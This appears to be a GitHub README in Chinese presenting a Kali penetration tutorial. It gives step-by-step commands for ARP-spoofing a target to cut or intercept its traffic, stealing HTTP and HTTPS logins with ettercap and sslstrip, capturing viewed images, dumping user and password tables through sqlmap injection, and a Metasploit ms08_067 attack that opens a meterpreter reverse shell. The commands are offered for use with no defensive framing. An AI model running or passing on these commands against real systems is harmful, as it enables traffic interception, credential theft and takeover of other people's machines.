Skip to content

Latest commit

 

History

History
225 lines (146 loc) · 4.03 KB

README.md

File metadata and controls

225 lines (146 loc) · 4.03 KB
Raw

Kali渗透教程

001.arpspoof断网攻击

arpspoof -i eth0 -t 192.168.1.3 192.168.1.1

002.arpspoof流量转发

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.1.3 192.168.1.1

003.arpspoof+driftnet截取目标主机浏览的图片

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.1.3 192.168.1.1

开启新的终端

driftnet -i eth0

004.arpspoof+ettercap获取http账号密码

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.1.3 192.168.1.1

开启新的终端

ettercap -Tq -i eth0

005.arpspoof+ettercap+sslstrip获取https账号密码

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.1.3 192.168.1.1

开启一个新的终端

sslstrip -a -f -k

开启一个新的终端

ettercap -Tq -i eth0

001.sqlmap注入asp程序

sqlmap -u "http://www.example.com/news.asp?id=110" 
sqlmap -u "http://www.example.com/news.asp?id=110"   --tables
 sqlmap -u "http://www.example.com/news.asp?id=110" --columns -T "user"
 sqlmap -u "http://www.example.com/news.asp?id=110" --dump -C "username,password" -T "user"

002.sqlmap注入php程序

sqlmap -u "http://www.example.com/news.php?id=110" 
sqlmap -u "http://www.example.com/news.php?id=110"  --is-dba
 sqlmap -u "http://www.example.com/news.php?id=110"  --dbs
 sqlmap -u "http://www.example.com/news.php?id=110" --current-db
 sqlmap -u "http://www.example.com/news.php?id=110" --tables -D "db"
 sqlmap -u "http://www.example.com/news.php?id=110" --colums -T "admin_user" -D

003.sqlmap之cookie注入

sqlmap -u "http://www.example.com/news.php" --cookie "id=110" --level 2
sqlmap -u "http://www.example.com/news.php" --columns -T "user" --cookie "id=110" --level 2
sqlmap -u "http://www.example.com/news.php" --dump  -C "username,password" -T "user"  --cookie "id=110" --level 2

001.metasploit使用简介

##启动metasploit

root@kali:~# msfconsole
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

###基本命令

msf > help
msf > show
msf > clear

###设置选项并攻击

msf > use exploit/windows/smb/ms08_067_netapi 
msf exploit(ms08_067_netapi) > show options

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.3
RHOST => 219.225.51.172

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > show options

msf exploit(ms08_067_netapi) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf exploit(ms08_067_netapi) > exploit